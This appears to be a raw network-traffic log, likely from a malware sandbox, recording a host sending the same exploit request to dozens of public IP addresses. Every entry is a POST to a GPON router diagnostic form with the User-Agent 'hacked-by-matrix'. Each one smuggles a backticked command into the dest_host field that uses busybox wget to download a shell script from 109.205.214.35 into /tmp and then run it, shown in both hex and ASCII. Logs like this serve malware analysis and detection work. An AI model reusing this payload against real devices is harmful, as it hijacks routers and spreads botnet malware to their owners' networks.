Mar 21, 2024 05:16:56.533736944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	38870	37.37.197.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533771038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	37432	210.4.28.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533798933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	55926	94.5.169.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533818960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	42720	118.36.136.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533885956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	48286	5.37.179.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533886909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	46748	79.55.85.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533916950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	43714	109.170.55.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.533935070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	51312	94.169.75.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534001112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	35970	118.228.84.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534033060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	48960	118.217.244.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534043074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	46716	37.159.149.97	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534058094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	59220	212.207.158.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534097910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	34648	210.44.33.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534100056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	52630	2.250.68.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534158945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	47554	94.234.247.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534193993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	59200	118.9.182.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534241915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	53978	79.19.20.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534260035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	43136	2.177.17.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534260035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	56674	178.79.215.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534276962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.13	49128	2.28.101.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534348011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.13	37014	42.152.147.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534348011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.13	47568	94.19.238.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534363031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.13	49044	37.123.107.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:56.534389019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.13	54194	42.32.223.206	443

Timestamp	Bytes transferred	Direction	Data
